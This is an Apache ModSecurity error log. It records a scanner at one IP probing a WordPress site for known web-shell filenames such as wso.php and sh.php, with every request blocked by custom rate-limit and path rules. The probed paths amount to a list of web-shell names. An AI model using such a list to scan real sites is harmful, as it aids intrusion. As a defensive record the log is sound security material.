[Wed Feb 25 02:56:42.032742 2026] [:error] [pid 18850:tid 18858] [client 20.216.146.160:35984] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ30auDBmHucoAJRnqklNgAAAAY"]
[Wed Feb 25 02:56:42.765695 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:32108] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ30auDBmHucoAJRnqklOAAAAAg"]
[Wed Feb 25 02:56:45.057456 2026] [:error] [pid 18850:tid 18870] [client 20.216.146.160:41839] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ30beDBmHucoAJRnqklOwAAABI"]
[Wed Feb 25 02:56:46.150263 2026] [:error] [pid 18850:tid 18875] [client 20.216.146.160:38466] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ30buDBmHucoAJRnqklPwAAABc"]
[Wed Feb 25 02:56:49.831463 2026] [:error] [pid 18850:tid 18859] [client 20.216.146.160:38497] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ30ceDBmHucoAJRnqklRwAAAAc"]
[Wed Feb 25 02:56:54.992128 2026] [:error] [pid 18447:tid 18784] [client 20.216.146.160:34954] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ30ds-TpHVc8yBj5ebE_QAAAhU"]
[Wed Feb 25 02:56:55.871662 2026] [:error] [pid 18850:tid 18873] [client 20.216.146.160:34666] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ30d-DBmHucoAJRnqklTwAAABU"]
[Wed Feb 25 02:56:58.076224 2026] [:error] [pid 26872:tid 26874] [client 20.216.146.160:36308] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ30enxLbzvRGuzwKjkeYQAAAEA"]
[Wed Feb 25 02:56:59.118766 2026] [:error] [pid 26872:tid 26880] [client 20.216.146.160:36301] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ30e3xLbzvRGuzwKjkeZQAAAEY"]
[Wed Feb 25 02:57:00.819974 2026] [:error] [pid 18458:tid 18800] [client 20.216.146.160:39694] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ30fAuir-tBe4tUismkuwAAAoY"]
[Wed Feb 25 02:57:02.022182 2026] [:error] [pid 18850:tid 18865] [client 20.216.146.160:38028] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ30fuDBmHucoAJRnqklUQAAAA0"]
[Wed Feb 25 02:57:03.229673 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:40508] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ30f-DBmHucoAJRnqklVAAAAAA"]
[Wed Feb 25 02:57:05.142483 2026] [:error] [pid 18850:tid 18866] [client 20.216.146.160:11436] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ30geDBmHucoAJRnqklWAAAAA4"]
[Wed Feb 25 02:57:13.120294 2026] [:error] [pid 26872:tid 26880] [client 20.216.146.160:34654] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ30iXxLbzvRGuzwKjkehwAAAEY"]
[Wed Feb 25 02:57:14.853303 2026] [:error] [pid 18447:tid 18781] [client 20.216.146.160:38465] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ30is-TpHVc8yBj5ebFCAAAAhI"]
[Wed Feb 25 02:57:17.508824 2026] [:error] [pid 18458:tid 18804] [client 20.216.146.160:45075] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZ30jQuir-tBe4tUismkxAAAAoo"]
[Wed Feb 25 02:57:23.904762 2026] [:error] [pid 26872:tid 26893] [client 20.216.146.160:34644] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/sh.php"] [unique_id "aZ30k3xLbzvRGuzwKjkewQAAAFM"]
[Wed Feb 25 02:57:26.911984 2026] [:error] [pid 26872:tid 26878] [client 20.216.146.160:38226] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/sh.php"] [unique_id "aZ30lnxLbzvRGuzwKjkeywAAAEQ"]
[Wed Feb 25 02:57:27.731467 2026] [:error] [pid 18458:tid 18803] [client 20.216.146.160:37655] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/sh.php"] [unique_id "aZ30lwuir-tBe4tUismkyQAAAok"]
[Wed Feb 25 02:57:28.435971 2026] [:error] [pid 26872:tid 26890] [client 20.216.146.160:34431] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/sh.php"] [unique_id "aZ30mHxLbzvRGuzwKjke0AAAAFA"]
[Wed Feb 25 02:57:29.421133 2026] [:error] [pid 26872:tid 26879] [client 20.216.146.160:11380] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/start.php"] [unique_id "aZ30mXxLbzvRGuzwKjke2AAAAEU"]
[Wed Feb 25 02:57:30.832768 2026] [:error] [pid 26872:tid 26894] [client 20.216.146.160:38047] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/start.php"] [unique_id "aZ30mnxLbzvRGuzwKjke3AAAAFQ"]
[Wed Feb 25 02:57:31.770498 2026] [:error] [pid 26872:tid 26889] [client 20.216.146.160:34391] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/start.php"] [unique_id "aZ30m3xLbzvRGuzwKjke4AAAAE8"]
[Wed Feb 25 02:57:32.550124 2026] [:error] [pid 26872:tid 26896] [client 20.216.146.160:10945] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/start.php"] [unique_id "aZ30nHxLbzvRGuzwKjke5gAAAFY"]
[Wed Feb 25 02:57:33.612217 2026] [:error] [pid 26872:tid 26890] [client 20.216.146.160:32111] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/xaw.php"] [unique_id "aZ30nXxLbzvRGuzwKjke7AAAAFA"]
[Wed Feb 25 02:57:34.678683 2026] [:error] [pid 26872:tid 26896] [client 20.216.146.160:37643] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/xaw.php"] [unique_id "aZ30nnxLbzvRGuzwKjke8QAAAFY"]
[Wed Feb 25 02:57:35.599586 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:34389] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/xaw.php"] [unique_id "aZ30n3xLbzvRGuzwKjke9AAAAFg"]
[Wed Feb 25 02:57:36.472801 2026] [:error] [pid 18447:tid 18783] [client 20.216.146.160:39374] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files/xaw.php"] [unique_id "aZ30oM-TpHVc8yBj5ebFEQAAAhQ"]
[Wed Feb 25 02:57:37.256094 2026] [:error] [pid 18850:tid 18876] [client 20.216.146.160:41807] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aZ30oeDBmHucoAJRnqklkAAAABg"]
[Wed Feb 25 02:57:37.910942 2026] [:error] [pid 26872:tid 26887] [client 20.216.146.160:37652] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aZ30oXxLbzvRGuzwKjke-AAAAE0"]
[Wed Feb 25 02:57:39.083521 2026] [:error] [pid 18850:tid 18865] [client 20.216.146.160:11506] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aZ30o-DBmHucoAJRnqkllAAAAA0"]
[Wed Feb 25 02:57:40.286819 2026] [:error] [pid 26872:tid 26882] [client 20.216.146.160:39368] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aZ30pHxLbzvRGuzwKjke_AAAAEg"]
[Wed Feb 25 02:57:41.073591 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:33830] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aZ30pXxLbzvRGuzwKjkfAAAAAFI"]
[Wed Feb 25 02:57:42.521107 2026] [:error] [pid 18850:tid 18867] [client 20.216.146.160:33832] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aZ30puDBmHucoAJRnqklnQAAAA8"]
[Wed Feb 25 02:57:48.537592 2026] [:error] [pid 18850:tid 18868] [client 20.216.146.160:41796] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aZ30rODBmHucoAJRnqklqQAAABA"]
[Wed Feb 25 02:57:51.957351 2026] [:error] [pid 26872:tid 26882] [client 20.216.146.160:36971] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aZ30r3xLbzvRGuzwKjkfCQAAAEg"]
[Wed Feb 25 02:57:52.600043 2026] [:error] [pid 18850:tid 18857] [client 20.216.146.160:42358] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aZ30sODBmHucoAJRnqkltwAAAAU"]
[Wed Feb 25 02:57:53.449493 2026] [:error] [pid 26872:tid 26880] [client 20.216.146.160:41808] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aZ30sXxLbzvRGuzwKjkfDwAAAEY"]
[Wed Feb 25 02:57:54.727170 2026] [:error] [pid 18441:tid 18730] [client 20.216.146.160:11504] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aZ30shYF1wpOnXIaHlOnQgAAANU"]
[Wed Feb 25 02:57:56.896754 2026] [:error] [pid 18458:tid 18819] [client 20.216.146.160:40326] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aZ30tAuir-tBe4tUismk2wAAApg"]
[Wed Feb 25 02:57:57.872828 2026] [:error] [pid 18458:tid 18809] [client 20.216.146.160:36969] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aZ30tQuir-tBe4tUismk4QAAAo4"]
[Wed Feb 25 02:57:58.573131 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:33817] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aZ30tuDBmHucoAJRnqklwwAAAAg"]
[Wed Feb 25 02:57:59.266938 2026] [:error] [pid 18458:tid 18795] [client 20.216.146.160:32121] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aZ30twuir-tBe4tUismk5QAAAoI"]
[Wed Feb 25 02:58:00.313437 2026] [:error] [pid 18458:tid 18800] [client 20.216.146.160:35991] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aZ30uAuir-tBe4tUismk5wAAAoY"]
[Wed Feb 25 02:58:01.254087 2026] [:error] [pid 26872:tid 26888] [client 20.216.146.160:41310] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aZ30uXxLbzvRGuzwKjkfFgAAAE4"]
[Wed Feb 25 02:58:03.371421 2026] [:error] [pid 18850:tid 18865] [client 20.216.146.160:34316] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aZ30u-DBmHucoAJRnqklzwAAAA0"]
[Wed Feb 25 02:58:05.319025 2026] [:error] [pid 26872:tid 26886] [client 20.216.146.160:40359] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aZ30vXxLbzvRGuzwKjkfGwAAAEw"]
[Wed Feb 25 02:58:06.010452 2026] [:error] [pid 18441:tid 18721] [client 20.216.146.160:41295] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aZ30vhYF1wpOnXIaHlOnSgAAAM0"]
[Wed Feb 25 02:58:06.754886 2026] [:error] [pid 26872:tid 26897] [client 20.216.146.160:34317] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aZ30vnxLbzvRGuzwKjkfHAAAAFc"]
[Wed Feb 25 02:58:08.535567 2026] [:error] [pid 18458:tid 18801] [client 20.216.146.160:40368] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aZ30wAuir-tBe4tUismk7gAAAoc"]
[Wed Feb 25 02:58:10.068777 2026] [:error] [pid 18850:tid 18875] [client 20.216.146.160:36034] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aZ30wuDBmHucoAJRnqkl7gAAABc"]
[Wed Feb 25 02:58:11.086592 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:33545] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aZ30w-DBmHucoAJRnqkl9AAAAAg"]
[Wed Feb 25 02:58:12.212770 2026] [:error] [pid 18850:tid 18869] [client 20.216.146.160:33572] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aZ30xODBmHucoAJRnqkl9wAAABE"]
[Wed Feb 25 02:58:13.582913 2026] [:error] [pid 18447:tid 18768] [client 20.216.146.160:37969] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aZ30xc-TpHVc8yBj5ebFMgAAAgU"]
[Wed Feb 25 02:58:14.219623 2026] [:error] [pid 18850:tid 18857] [client 20.216.146.160:41304] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aZ30xuDBmHucoAJRnqkl-wAAAAU"]
